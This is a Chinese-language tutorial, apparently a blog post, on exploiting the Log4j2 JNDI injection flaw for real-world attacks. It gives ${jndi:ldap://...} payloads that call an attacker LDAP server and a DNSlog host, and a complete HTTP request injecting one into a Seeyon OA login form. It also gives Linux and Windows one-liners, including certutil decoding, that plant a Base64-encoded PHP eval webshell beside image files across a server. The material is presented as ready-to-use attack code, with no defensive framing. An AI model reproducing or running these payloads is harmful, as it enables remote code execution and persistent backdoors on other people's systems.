简单利用log4j2漏洞

1.搭建JNDI服务。

推荐:

  1. [https://github.com/feihong-cs/JNDIExploit](https://github.com/feihong-cs/JNDIExploit)
  2. [https://github.com/0x727/JNDIExploit](https://github.com/0x727/JNDIExploit)
  3. [https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md](https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md)

2.发送EXP

  1. 一般在**输入框**都可以测试,例如致远OA的登录框。
  2. 具体要去源码里面看,哪些地方用了logger来记录。但是一般都可以

我用的是 https://github.com/feihong-cs/JNDIExploit 建议先看下README使用说明。

可以使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式

我们需要执行cmd等命令,所以用的就是Basic/Command/这一块的东西

  1. _注:直接命令回显的class测试好像不行。_jndi回显就是 gadget+javassist

但是群网友测试可行:

image.png

实战中,执行命令最好使用Base64这种。我经过测试,powershell上线和echo写文件都可以。

EXP:

${jndi:ldap://10.0.100.14:1389/Basic/Command/Base64/ZWNobyAxMjMgPiBlOlwxLnR4dA==}

暂时没有找到通用方法来写文件。可以用dnslog外带命令或者ping和ping.exe命令等方式来判断系统。

例如先测试命令:ping.exe xxx.dnslog.cn 如果没有回应,大概率是Linux服务器

注意注意:

对方jdk版本如果在1.8.191以上,就有可能不行了!!!!!但是可以看往上的JDK Bypass方法

https://mp.weixin.qq.com/s/5cCJBij01sXvmCNVAAG42w

http://blog.topsec.com.cn/java-jndi注入知识详解/

举例:

致远OA登录框处RCE

  1. POST /seeyon/main.do?method=login HTTP/1.1
  2. Host: 192.168.91.13
  3. Content-Length: 288
  4. Cache-Control: max-age=0
  5. Upgrade-Insecure-Requests: 1
  6. Origin: http://192.168.91.13
  7. Content-Type: application/x-www-form-urlencoded
  8. User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
  9. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  10. Referer: http://192.168.91.13/seeyon/index.jsp
  11. Accept-Encoding: gzip, deflate
  12. Accept-Language: zh-CN,zh;q=0.9
  13. Cookie: JSESSIONID=F9643D75CED1B59B7241D704AA58DD57; wd=C%3A%5Cphpstudy_pro%5CWWW%5C; PHPSESSIDS=5dce171e2fab0814d67170153804f937; loginPageURL=
  14. Connection: close
  15. authorization=&login.timezone=GMT%2B8%3A00&login_username=admin&login_password=${jndi:ldap://10.0.100.14:1389/Basic/Command/Base64/ZWNobyAxMjMgPiBlOlwxLnR4dA==}&login_validatePwdStrength=1&random=&fontSize=12&screenWidth=1536&screenHeight=960&fontSize=12&screenWidth=1536&screenHeight=960

ldap://null:1389/Basic/

${jndi:ldap://124.71.233.65:1389/Basic/Dnslog/06717dc6.dns.1433.eu.org}

image.png

成功上线。

image.png

Linux和Windows 写文件技巧

Linux

[查找的文件] 例如:1.jpg

[写入的内容] 例如:111

[写入的文件名字] 例如:111.txt

命令:

  1. find / -name [查找的文件]|while read file;do sh -c "echo '[写入的内容]'">$(dirname $file)/[写入的文件名字];done

命令实例化:

  1. find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done

执行完毕以后,linux上所有叫 1.jpg 的文件同级目录就都会写入一个 111.txt 文件了

接着我们访问 http://127.0.0.1/upload/2020/11/11/test.txt
就可以看到站点写入了一个 111.txt 文件
内容为: 111

Base64写Shell

[查找的文件] 例如:1.jpg

[base64编码的内容] 没啥好说的,把想写的内容base64编码然后给这个参数即可

[写入的文件名字] 例如:1.php

命令:

  1. find / -name [查找的文件]|while read file;do sh -c "echo [base64编码的内容] | base64 -d">$(dirname $file)/[写入的文件名字];done

命令实例化:

  1. find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done

Windows

查找c盘下面所有叫 1.jpg 的文件 并且在同级目录写入一个文件 test.txt 文件内容为 123

命令:

  1. for /f %i in ('dir /s /b c:\1.jpg') do (echo "123" > %i\..\test.txt)

执行完毕以后,c盘所有叫 1.jpg 的文件同级目录就都会写入一个 test.txt 文件了

接着我们访问 http://127.0.0.1/upload/2020/11/11/test.txt
就可以看到站点写入了一个 test.txt 文件
内容为: 123

Windows-base64方式写shell

查找c盘上所有叫 1.jpg 的文件 并且在同级目录写入一个文件 1.php 文件内容为

Base64编码为

PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo=

第一步

先查找c盘上所有叫 1.jpg 的文件,然后把base64编码内容写入到 base64-hm-test.txt 文件里面

[规定查找的盘符] 例如: c盘, d盘, e盘, f盘

[查找的文件] 例如:1.jpg

[base64编码的内容] 没啥好说的,把想写的内容base64编码然后给这个参数即可

[写入的文件名字] 例如:1.php

命令:

  1. for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (echo [base64编码的内容] > %i\..\[写入的文件名字])

实例执行命令-写base64文件到规定的路径下:

  1. for /f %i in ('dir /s /b c:\1.jpg') do (echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= > %i\..\base64-hm-test.txt)

第二步

在找到第一步写入的文件,进行base64解码以后进行二次写马

[规定查找的盘符] 例如: c盘, d盘, e盘, f盘

[查找的文件] 例如:base64-hm-test.txt

[要解码的文件名字] 例如:base64-hm-test.txt

[写入的文件名字] 例如:1.php

命令:

  1. for /f %i in ('dir /s /b [规定查找的盘符]:\[查找的文件]') do (certutil.exe -decode %i\..\[要解码的文件名字] %i\..\[写入的文件名字])

实例执行命令:

  1. for /f %i in ('dir /s /b c:\base64-hm-test.txt') do (certutil.exe -decode %i\..\base64-hm-test.txt %i\..\1.php)

完毕

漏洞分析:

https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA

https://mp.weixin.qq.com/s/K74c1pTG6m5rKFuKaIYmPg